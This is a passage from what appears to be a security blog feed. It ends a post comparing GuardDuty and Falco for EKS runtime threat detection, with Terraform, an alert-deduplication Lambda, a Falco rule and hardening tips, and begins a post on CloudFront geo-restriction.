    <span class="nx">Owner</span>       <span class="o">=</span> <span class="s2">"security-team"</span>
    <span class="nx">Costcenter</span>  <span class="o">=</span> <span class="s2">"security"</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="nx">resource</span> <span class="s2">"aws_cloudwatch_log_group"</span> <span class="s2">"falco"</span> <span class="p">{</span>
  <span class="nx">name</span>              <span class="o">=</span> <span class="s2">"/eks/falco/alerts"</span>
  <span class="nx">retention_in_days</span> <span class="o">=</span> <span class="mi">90</span>

  <span class="nx">tags</span> <span class="o">=</span> <span class="p">{</span>
    <span class="nx">Customer</span>    <span class="o">=</span> <span class="s2">"internal"</span>
    <span class="nx">Application</span> <span class="o">=</span> <span class="s2">"eks-security"</span>
    <span class="nx">Environment</span> <span class="o">=</span> <span class="s2">"prod"</span>
    <span class="nx">Owner</span>       <span class="o">=</span> <span class="s2">"security-team"</span>
    <span class="nx">Costcenter</span>  <span class="o">=</span> <span class="s2">"security"</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="c1"># Unified dashboard for both tools</span>
<span class="nx">resource</span> <span class="s2">"aws_cloudwatch_dashboard"</span> <span class="s2">"eks_security"</span> <span class="p">{</span>
  <span class="nx">dashboard_name</span> <span class="o">=</span> <span class="s2">"EKS-Runtime-Security"</span>

  <span class="nx">dashboard_body</span> <span class="o">=</span> <span class="nx">jsonencode</span><span class="p">({</span>
    <span class="nx">widgets</span> <span class="o">=</span> <span class="p">[</span>
      <span class="p">{</span>
        <span class="nx">type</span>   <span class="o">=</span> <span class="s2">"metric"</span>
        <span class="nx">x</span>      <span class="o">=</span> <span class="mi">0</span>
        <span class="nx">y</span>      <span class="o">=</span> <span class="mi">0</span>
        <span class="nx">width</span>  <span class="o">=</span> <span class="mi">12</span>
        <span class="nx">height</span> <span class="o">=</span> <span class="mi">6</span>
        <span class="nx">properties</span> <span class="o">=</span> <span class="p">{</span>
          <span class="nx">title</span>   <span class="o">=</span> <span class="s2">"GuardDuty EKS Findings"</span>
          <span class="nx">metrics</span> <span class="o">=</span> <span class="p">[</span>
            <span class="p">[</span><span class="s2">"AWS/GuardDuty"</span><span class="p">,</span> <span class="s2">"FindingsCount"</span><span class="p">,</span> <span class="s2">"DetectorId"</span><span class="p">,</span>
             <span class="nx">aws_guardduty_detector</span><span class="p">.</span><span class="nx">main</span><span class="p">.</span><span class="nx">id</span><span class="p">]</span>
          <span class="p">]</span>
          <span class="nx">period</span> <span class="o">=</span> <span class="mi">300</span>
          <span class="nx">stat</span>   <span class="o">=</span> <span class="s2">"Sum"</span>
          <span class="nx">region</span> <span class="o">=</span> <span class="s2">"us-east-1"</span>
        <span class="p">}</span>
      <span class="p">},</span>
      <span class="p">{</span>
        <span class="nx">type</span>   <span class="o">=</span> <span class="s2">"log"</span>
        <span class="nx">x</span>      <span class="o">=</span> <span class="mi">12</span>
        <span class="nx">y</span>      <span class="o">=</span> <span class="mi">0</span>
        <span class="nx">width</span>  <span class="o">=</span> <span class="mi">12</span>
        <span class="nx">height</span> <span class="o">=</span> <span class="mi">6</span>
        <span class="nx">properties</span> <span class="o">=</span> <span class="p">{</span>
          <span class="nx">title</span>  <span class="o">=</span> <span class="s2">"Falco Alerts"</span>
          <span class="nx">query</span>  <span class="o">=</span> <span class="s2">"SOURCE '/eks/falco/alerts' | stats count(*) by priority"</span>
          <span class="nx">region</span> <span class="o">=</span> <span class="s2">"us-east-1"</span>
        <span class="p">}</span>
      <span class="p">}</span>
    <span class="p">]</span>
  <span class="p">})</span>
<span class="p">}</span>

<span class="nx">data</span> <span class="s2">"aws_caller_identity"</span> <span class="s2">"current"</span> <span class="p">{}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="deduplication-strategy">Deduplication Strategy</h3>

<p>When running both tools, you will see duplicate alerts for the same event. Implement a deduplication layer:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
</pre></td><td class="rouge-code"><pre><span class="sh">"""</span><span class="s">
Alert Deduplication for GuardDuty + Falco

Processes alerts from both sources and deduplicates
based on pod, namespace, and time window.
</span><span class="sh">"""</span>

<span class="kn">import</span> <span class="n">json</span>
<span class="kn">import</span> <span class="n">hashlib</span>
<span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timedelta</span>

<span class="n">dynamodb</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">resource</span><span class="p">(</span><span class="sh">"</span><span class="s">dynamodb</span><span class="sh">"</span><span class="p">)</span>
<span class="n">table</span> <span class="o">=</span> <span class="n">dynamodb</span><span class="p">.</span><span class="nc">Table</span><span class="p">(</span><span class="sh">"</span><span class="s">eks-security-alerts</span><span class="sh">"</span><span class="p">)</span>

<span class="n">DEDUP_WINDOW_MINUTES</span> <span class="o">=</span> <span class="mi">5</span>


<span class="k">def</span> <span class="nf">generate_alert_key</span><span class="p">(</span><span class="n">alert</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">Generate a deduplication key from alert properties.</span><span class="sh">"""</span>
    <span class="n">components</span> <span class="o">=</span> <span class="p">[</span>
        <span class="n">alert</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">namespace</span><span class="sh">"</span><span class="p">,</span> <span class="sh">""</span><span class="p">),</span>
        <span class="n">alert</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">pod</span><span class="sh">"</span><span class="p">,</span> <span class="sh">""</span><span class="p">),</span>
        <span class="n">alert</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">alert_type</span><span class="sh">"</span><span class="p">,</span> <span class="sh">""</span><span class="p">),</span>
    <span class="p">]</span>
    <span class="n">raw_key</span> <span class="o">=</span> <span class="sh">"</span><span class="s">|</span><span class="sh">"</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">components</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">hashlib</span><span class="p">.</span><span class="nf">sha256</span><span class="p">(</span><span class="n">raw_key</span><span class="p">.</span><span class="nf">encode</span><span class="p">()).</span><span class="nf">hexdigest</span><span class="p">()[:</span><span class="mi">16</span><span class="p">]</span>


<span class="k">def</span> <span class="nf">is_duplicate</span><span class="p">(</span><span class="n">alert_key</span><span class="p">,</span> <span class="n">timestamp</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">Check if a similar alert was seen within the dedup window.</span><span class="sh">"""</span>
    <span class="n">cutoff</span> <span class="o">=</span> <span class="p">(</span>
        <span class="n">datetime</span><span class="p">.</span><span class="nf">fromisoformat</span><span class="p">(</span><span class="n">timestamp</span><span class="p">)</span>
        <span class="o">-</span> <span class="nf">timedelta</span><span class="p">(</span><span class="n">minutes</span><span class="o">=</span><span class="n">DEDUP_WINDOW_MINUTES</span><span class="p">)</span>
    <span class="p">).</span><span class="nf">isoformat</span><span class="p">()</span>

    <span class="n">response</span> <span class="o">=</span> <span class="n">table</span><span class="p">.</span><span class="nf">get_item</span><span class="p">(</span><span class="n">Key</span><span class="o">=</span><span class="p">{</span><span class="sh">"</span><span class="s">alert_key</span><span class="sh">"</span><span class="p">:</span> <span class="n">alert_key</span><span class="p">})</span>
    <span class="k">if</span> <span class="sh">"</span><span class="s">Item</span><span class="sh">"</span> <span class="ow">in</span> <span class="n">response</span><span class="p">:</span>
        <span class="n">last_seen</span> <span class="o">=</span> <span class="n">response</span><span class="p">[</span><span class="sh">"</span><span class="s">Item</span><span class="sh">"</span><span class="p">][</span><span class="sh">"</span><span class="s">last_seen</span><span class="sh">"</span><span class="p">]</span>
        <span class="k">if</span> <span class="n">last_seen</span> <span class="o">&gt;</span> <span class="n">cutoff</span><span class="p">:</span>
            <span class="k">return</span> <span class="bp">True</span>
    <span class="k">return</span> <span class="bp">False</span>


<span class="k">def</span> <span class="nf">record_alert</span><span class="p">(</span><span class="n">alert_key</span><span class="p">,</span> <span class="n">timestamp</span><span class="p">,</span> <span class="n">source</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">Record alert for future deduplication.</span><span class="sh">"""</span>
    <span class="n">table</span><span class="p">.</span><span class="nf">put_item</span><span class="p">(</span>
        <span class="n">Item</span><span class="o">=</span><span class="p">{</span>
            <span class="sh">"</span><span class="s">alert_key</span><span class="sh">"</span><span class="p">:</span> <span class="n">alert_key</span><span class="p">,</span>
            <span class="sh">"</span><span class="s">last_seen</span><span class="sh">"</span><span class="p">:</span> <span class="n">timestamp</span><span class="p">,</span>
            <span class="sh">"</span><span class="s">source</span><span class="sh">"</span><span class="p">:</span> <span class="n">source</span><span class="p">,</span>
            <span class="sh">"</span><span class="s">ttl</span><span class="sh">"</span><span class="p">:</span> <span class="nf">int</span><span class="p">(</span>
                <span class="p">(</span>
                    <span class="n">datetime</span><span class="p">.</span><span class="nf">fromisoformat</span><span class="p">(</span><span class="n">timestamp</span><span class="p">)</span>
                    <span class="o">+</span> <span class="nf">timedelta</span><span class="p">(</span><span class="n">hours</span><span class="o">=</span><span class="mi">24</span><span class="p">)</span>
                <span class="p">).</span><span class="nf">timestamp</span><span class="p">()</span>
            <span class="p">),</span>
        <span class="p">}</span>
    <span class="p">)</span>


<span class="k">def</span> <span class="nf">lambda_handler</span><span class="p">(</span><span class="n">event</span><span class="p">,</span> <span class="n">context</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">Process and deduplicate alerts from both sources.</span><span class="sh">"""</span>
    <span class="n">source</span> <span class="o">=</span> <span class="n">event</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">source</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">unknown</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">timestamp</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">isoformat</span><span class="p">()</span>

    <span class="c1"># Normalize alert format from either source
</span>    <span class="k">if</span> <span class="n">source</span> <span class="o">==</span> <span class="sh">"</span><span class="s">aws.guardduty</span><span class="sh">"</span><span class="p">:</span>
        <span class="n">alert</span> <span class="o">=</span> <span class="nf">normalize_guardduty</span><span class="p">(</span><span class="n">event</span><span class="p">)</span>
    <span class="k">elif</span> <span class="n">source</span> <span class="o">==</span> <span class="sh">"</span><span class="s">falcosidekick</span><span class="sh">"</span><span class="p">:</span>
        <span class="n">alert</span> <span class="o">=</span> <span class="nf">normalize_falco</span><span class="p">(</span><span class="n">event</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">return</span> <span class="p">{</span><span class="sh">"</span><span class="s">statusCode</span><span class="sh">"</span><span class="p">:</span> <span class="mi">400</span><span class="p">,</span> <span class="sh">"</span><span class="s">body</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Unknown source</span><span class="sh">"</span><span class="p">}</span>

    <span class="n">alert_key</span> <span class="o">=</span> <span class="nf">generate_alert_key</span><span class="p">(</span><span class="n">alert</span><span class="p">)</span>

    <span class="k">if</span> <span class="nf">is_duplicate</span><span class="p">(</span><span class="n">alert_key</span><span class="p">,</span> <span class="n">timestamp</span><span class="p">):</span>
        <span class="k">return</span> <span class="p">{</span>
            <span class="sh">"</span><span class="s">statusCode</span><span class="sh">"</span><span class="p">:</span> <span class="mi">200</span><span class="p">,</span>
            <span class="sh">"</span><span class="s">body</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Duplicate alert suppressed</span><span class="sh">"</span><span class="p">,</span>
            <span class="sh">"</span><span class="s">source</span><span class="sh">"</span><span class="p">:</span> <span class="n">source</span><span class="p">,</span>
        <span class="p">}</span>

    <span class="nf">record_alert</span><span class="p">(</span><span class="n">alert_key</span><span class="p">,</span> <span class="n">timestamp</span><span class="p">,</span> <span class="n">source</span><span class="p">)</span>

    <span class="c1"># Forward deduplicated alert to unified pipeline
</span>    <span class="nf">forward_alert</span><span class="p">(</span><span class="n">alert</span><span class="p">)</span>

    <span class="k">return</span> <span class="p">{</span><span class="sh">"</span><span class="s">statusCode</span><span class="sh">"</span><span class="p">:</span> <span class="mi">200</span><span class="p">,</span> <span class="sh">"</span><span class="s">body</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Alert processed</span><span class="sh">"</span><span class="p">}</span>


<span class="k">def</span> <span class="nf">normalize_guardduty</span><span class="p">(</span><span class="n">event</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">Normalize GuardDuty finding to common format.</span><span class="sh">"""</span>
    <span class="n">detail</span> <span class="o">=</span> <span class="n">event</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">detail</span><span class="sh">"</span><span class="p">,</span> <span class="p">{})</span>
    <span class="n">resource</span> <span class="o">=</span> <span class="n">detail</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">resource</span><span class="sh">"</span><span class="p">,</span> <span class="p">{})</span>
    <span class="n">eks</span> <span class="o">=</span> <span class="n">resource</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">eksClusterDetails</span><span class="sh">"</span><span class="p">,</span> <span class="p">{})</span>
    <span class="n">runtime</span> <span class="o">=</span> <span class="n">detail</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">service</span><span class="sh">"</span><span class="p">,</span> <span class="p">{}).</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">runtimeDetails</span><span class="sh">"</span><span class="p">,</span> <span class="p">{})</span>

    <span class="k">return</span> <span class="p">{</span>
        <span class="sh">"</span><span class="s">source</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">guardduty</span><span class="sh">"</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">alert_type</span><span class="sh">"</span><span class="p">:</span> <span class="n">detail</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">type</span><span class="sh">"</span><span class="p">,</span> <span class="sh">""</span><span class="p">),</span>
        <span class="sh">"</span><span class="s">severity</span><span class="sh">"</span><span class="p">:</span> <span class="n">detail</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">severity</span><span class="sh">"</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span>
        <span class="sh">"</span><span class="s">namespace</span><span class="sh">"</span><span class="p">:</span> <span class="n">runtime</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">context</span><span class="sh">"</span><span class="p">,</span> <span class="p">{}).</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">namespace</span><span class="sh">"</span><span class="p">,</span> <span class="sh">""</span><span class="p">),</span>
        <span class="sh">"</span><span class="s">pod</span><span class="sh">"</span><span class="p">:</span> <span class="n">runtime</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">context</span><span class="sh">"</span><span class="p">,</span> <span class="p">{}).</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">podName</span><span class="sh">"</span><span class="p">,</span> <span class="sh">""</span><span class="p">),</span>
        <span class="sh">"</span><span class="s">container</span><span class="sh">"</span><span class="p">:</span> <span class="n">runtime</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">context</span><span class="sh">"</span><span class="p">,</span> <span class="p">{}).</span><span class="nf">get</span><span class="p">(</span>
            <span class="sh">"</span><span class="s">containerName</span><span class="sh">"</span><span class="p">,</span> <span class="sh">""</span>
        <span class="p">),</span>
        <span class="sh">"</span><span class="s">cluster</span><span class="sh">"</span><span class="p">:</span> <span class="n">eks</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">name</span><span class="sh">"</span><span class="p">,</span> <span class="sh">""</span><span class="p">),</span>
        <span class="sh">"</span><span class="s">description</span><span class="sh">"</span><span class="p">:</span> <span class="n">detail</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">description</span><span class="sh">"</span><span class="p">,</span> <span class="sh">""</span><span class="p">),</span>
    <span class="p">}</span>


<span class="k">def</span> <span class="nf">normalize_falco</span><span class="p">(</span><span class="n">event</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">Normalize Falco alert to common format.</span><span class="sh">"""</span>
    <span class="n">output_fields</span> <span class="o">=</span> <span class="n">event</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">output_fields</span><span class="sh">"</span><span class="p">,</span> <span class="p">{})</span>

    <span class="k">return</span> <span class="p">{</span>
        <span class="sh">"</span><span class="s">source</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">falco</span><span class="sh">"</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">alert_type</span><span class="sh">"</span><span class="p">:</span> <span class="n">event</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">rule</span><span class="sh">"</span><span class="p">,</span> <span class="sh">""</span><span class="p">),</span>
        <span class="sh">"</span><span class="s">severity</span><span class="sh">"</span><span class="p">:</span> <span class="n">event</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">priority</span><span class="sh">"</span><span class="p">,</span> <span class="sh">""</span><span class="p">),</span>
        <span class="sh">"</span><span class="s">namespace</span><span class="sh">"</span><span class="p">:</span> <span class="n">output_fields</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">k8s.ns.name</span><span class="sh">"</span><span class="p">,</span> <span class="sh">""</span><span class="p">),</span>
        <span class="sh">"</span><span class="s">pod</span><span class="sh">"</span><span class="p">:</span> <span class="n">output_fields</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">k8s.pod.name</span><span class="sh">"</span><span class="p">,</span> <span class="sh">""</span><span class="p">),</span>
        <span class="sh">"</span><span class="s">container</span><span class="sh">"</span><span class="p">:</span> <span class="n">output_fields</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">container.name</span><span class="sh">"</span><span class="p">,</span> <span class="sh">""</span><span class="p">),</span>
        <span class="sh">"</span><span class="s">cluster</span><span class="sh">"</span><span class="p">:</span> <span class="n">output_fields</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">k8s.cluster.name</span><span class="sh">"</span><span class="p">,</span> <span class="sh">""</span><span class="p">),</span>
        <span class="sh">"</span><span class="s">description</span><span class="sh">"</span><span class="p">:</span> <span class="n">event</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">output</span><span class="sh">"</span><span class="p">,</span> <span class="sh">""</span><span class="p">),</span>
    <span class="p">}</span>


<span class="k">def</span> <span class="nf">forward_alert</span><span class="p">(</span><span class="n">alert</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">Forward deduplicated alert to the unified alert pipeline.</span><span class="sh">"""</span>
    <span class="n">sns</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">"</span><span class="s">sns</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">sns</span><span class="p">.</span><span class="nf">publish</span><span class="p">(</span>
        <span class="n">TopicArn</span><span class="o">=</span><span class="sh">"</span><span class="s">arn:aws:sns:us-east-1:181303648587:alert-critical</span><span class="sh">"</span><span class="p">,</span>
        <span class="n">Subject</span><span class="o">=</span><span class="sa">f</span><span class="sh">"</span><span class="s">[EKS Security] </span><span class="si">{</span><span class="n">alert</span><span class="p">[</span><span class="sh">'</span><span class="s">alert_type</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="s"> - </span><span class="si">{</span><span class="n">alert</span><span class="p">[</span><span class="sh">'</span><span class="s">cluster</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="sh">"</span><span class="p">,</span>
        <span class="n">Message</span><span class="o">=</span><span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">(</span><span class="n">alert</span><span class="p">,</span> <span class="n">indent</span><span class="o">=</span><span class="mi">2</span><span class="p">),</span>
    <span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="best-practices-and-recommendations">Best Practices and Recommendations</h2>

<h3 id="1-start-with-guardduty-extend-with-falco">1. Start with GuardDuty, Extend with Falco</h3>

<p>Enable GuardDuty EKS Runtime Monitoring first – it takes minutes and provides immediate coverage. Once your team has capacity, layer Falco on top for custom detections that GuardDuty cannot provide.</p>

<h3 id="2-write-application-specific-falco-rules">2. Write Application-Specific Falco Rules</h3>

<p>Generic rules catch generic attacks. The highest-value Falco rules are those written for your applications:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre><span class="c1"># Example: Detect unexpected database client in a web frontend pod</span>
<span class="pi">-</span> <span class="na">rule</span><span class="pi">:</span> <span class="s">Unexpected DB Client in Frontend</span>
  <span class="na">desc</span><span class="pi">:</span> <span class="s">Frontend containers should never run database clients</span>
  <span class="na">condition</span><span class="pi">:</span> <span class="pi">&gt;</span>
    <span class="s">spawned_process and container and</span>
    <span class="s">k8s.ns.name = "frontend" and</span>
    <span class="s">proc.name in (mysql, psql, mongo, redis-cli, mongosh)</span>
  <span class="na">output</span><span class="pi">:</span> <span class="pi">&gt;</span>
    <span class="s">Database client in frontend container</span>
    <span class="s">(command=%proc.cmdline pod=%k8s.pod.name</span>
    <span class="s">namespace=%k8s.ns.name)</span>
  <span class="na">priority</span><span class="pi">:</span> <span class="s">CRITICAL</span>
  <span class="na">tags</span><span class="pi">:</span> <span class="pi">[</span><span class="nv">application_specific</span><span class="pi">,</span> <span class="nv">lateral_movement</span><span class="pi">]</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="3-enforce-pod-security-standards">3. Enforce Pod Security Standards</h3>

<p>Runtime detection is your last line of defense. Reduce the attack surface first:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre><span class="c1"># Pod Security Standard: Restricted</span>
<span class="na">apiVersion</span><span class="pi">:</span> <span class="s">v1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">Namespace</span>
<span class="na">metadata</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">production</span>
  <span class="na">labels</span><span class="pi">:</span>
    <span class="na">pod-security.kubernetes.io/enforce</span><span class="pi">:</span> <span class="s">restricted</span>
    <span class="na">pod-security.kubernetes.io/warn</span><span class="pi">:</span> <span class="s">restricted</span>
    <span class="na">pod-security.kubernetes.io/audit</span><span class="pi">:</span> <span class="s">restricted</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="4-integrate-with-incident-response">4. Integrate with Incident Response</h3>

<p>Detection without response is just logging. Ensure both tools feed into an automated response pipeline:</p>

<ul>
  <li><strong>Automated pod isolation</strong> via NetworkPolicy when critical alerts fire</li>
  <li><strong>Forensic capture</strong> of pod state before termination</li>
  <li><strong>Automatic ticket creation</strong> in your incident management system</li>
  <li><strong>Runbook triggering</strong> via Step Functions for common attack patterns</li>
</ul>

<h3 id="5-test-your-detection">5. Test Your Detection</h3>

<p>Deploy attack simulation tools to validate both GuardDuty and Falco catch what they should:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre><span class="c"># Test cryptomining detection (safe - just the binary name, no actual mining)</span>
kubectl run test-detection <span class="nt">--image</span><span class="o">=</span>alpine <span class="nt">--rm</span> <span class="nt">-it</span> <span class="nt">--restart</span><span class="o">=</span>Never <span class="nt">--</span> <span class="se">\</span>
  sh <span class="nt">-c</span> <span class="s2">"echo 'Testing detection' &amp;&amp; sleep 5"</span>

<span class="c"># Use GuardDuty sample findings for testing</span>
aws guardduty create-sample-findings <span class="se">\</span>
  <span class="nt">--detector-id</span> <span class="si">$(</span>aws guardduty list-detectors <span class="nt">--query</span> <span class="s1">'DetectorIds[0]'</span> <span class="nt">--output</span> text<span class="si">)</span> <span class="se">\</span>
  <span class="nt">--finding-types</span> <span class="s2">"CryptoCurrency:Runtime/BitcoinTool.B"</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="6-monitor-the-monitors">6. Monitor the Monitors</h3>

<p>Both tools consume resources on your nodes. Track their overhead:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre><span class="c"># Check Falco resource consumption</span>
kubectl top pods <span class="nt">-n</span> falco

<span class="c"># Check GuardDuty agent resource consumption</span>
kubectl top pods <span class="nt">-n</span> amazon-guardduty
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="related-articles">Related Articles</h2>

<ul>
  <li><a href="/posts/aws-lambda-security-automated-threat-detection-2025/">AWS Lambda Security: Building Automated Threat Detection Systems</a> – Extend your detection pipeline with serverless response functions</li>
  <li><a href="/posts/aws-cloud-security-best-practices-implementation-guide/">AWS Cloud Security Best Practices Implementation Guide</a> – Comprehensive guide covering the full AWS security stack</li>
  <li><a href="/posts/aws-iam-zero-trust-identity-network-deep-dive/">AWS IAM Zero Trust: Identity and Network Deep Dive</a> – Implement zero-trust identity controls for your EKS workloads</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>EKS runtime security is not a “choose one” decision – it is a layered defense problem. AWS GuardDuty EKS Runtime Monitoring delivers managed threat detection with zero operational overhead, multi-stage attack correlation, and deep AWS service integration. Falco delivers custom rules, multi-cloud portability, full transparency, and community-driven detection at the cost of operational responsibility.</p>

<p>The strongest security posture combines both: GuardDuty as your always-on managed baseline, Falco as your application-aware custom detection layer. Start with GuardDuty for immediate coverage, then invest in Falco rules that reflect your specific threat model.</p>

<p>The eBPF revolution has made kernel-level observability accessible to both managed services and open-source tools. The organizations that will weather the next wave of container attacks are those instrumenting their clusters at this level – not just scanning images and hoping for the best.</p>

<p>For personalized guidance on implementing EKS runtime security for your organization, connect with Jon Price on <a href="https://www.linkedin.com/in/jonpricelinux/">LinkedIn</a>.</p>]]></content><author><name>Jon (JR) Price</name></author><category term="AWS" /><category term="Security" /><category term="aws-guardduty" /><category term="container-security" /><category term="ebpf" /><category term="eks-security" /><category term="falco" /><category term="kubernetes" /><category term="open-source" /><category term="runtime-security" /><summary type="html"><![CDATA[Head-to-head comparison of AWS GuardDuty EKS Runtime Monitoring and Falco for Kubernetes threat detection, with real detection scenarios and implementation guides.]]></summary></entry><entry><title type="html">AWS CloudFront Geo-Restriction: Block Malicious Traffic by Country with WAF [2026]</title><link href="https://red-team.sh/posts/aws-cloudfront-geographic-access-control/" rel="alternate" type="text/html" title="AWS CloudFront Geo-Restriction: Block Malicious Traffic by Country with WAF [2026]" /><published>2026-02-25T08:00:00-08:00</published><updated>2026-02-25T08:00:00-08:00</updated><id>https://red-team.sh/posts/aws-cloudfront-geographic-access-control</id><content type="html" xml:base="https://red-team.sh/posts/aws-cloudfront-geographic-access-control/"><![CDATA[<p><img src="/assets/img/aws-cloudfront-geographic-access-control-blog.png" alt="AWS CloudFront Geographic Access Control" class="shadow" w="800" />
<em>Geographic access control with AWS CloudFront and WAF geo-matching</em></p>

<h2 id="introduction">Introduction</h2>

<p>Geographic access control has become a critical component of modern cybersecurity strategies, driven by compliance requirements, threat landscape variations, and business operational needs. Recent cybersecurity reports indicate that 78% of web-based attacks originate from specific geographic regions, while compliance frameworks like GDPR, CCPA, and data localization laws require strict geographic data controls.</p>

<p>Traditional geo-blocking implementations using nginx and GeoIP databases require significant infrastructure management, regular database updates, and complex scaling considerations. AWS CloudFront’s native geo-restriction capabilities, combined with AWS WAF geographic matching, provide a cloud-native solution that offers superior performance, automatic updates, and seamless integration with other AWS security services.</p>

<p>This comprehensive guide demonstrates how to implement enterprise-grade geographic access control using AWS CloudFront geo-restriction and AWS WAF geo-matching rules, with advanced automation for compliance, threat intelligence integration, and cost optimization.</p>

<h3 id="current-landscape-statistics">Current Landscape Statistics</h3>

<ul>
  <li><strong>78%</strong> of web application attacks originate from specific geographic hotspots (Akamai State of the Internet Report)</li>
  <li><strong>67%</strong> of organizations require geographic data localization for compliance (IDC Cloud Security Survey)</li>
  <li><strong>45%</strong> reduction in malicious traffic when implementing geographic controls (AWS Security Best Practices)</li>
  <li><strong>$4.88M</strong> average cost of a data breach globally, with inadequate access controls as a leading factor (IBM Cost of a Data Breach Report, 2024)</li>
  <li><strong>99.95%</strong> availability maintained across 600+ CloudFront edge locations globally</li>
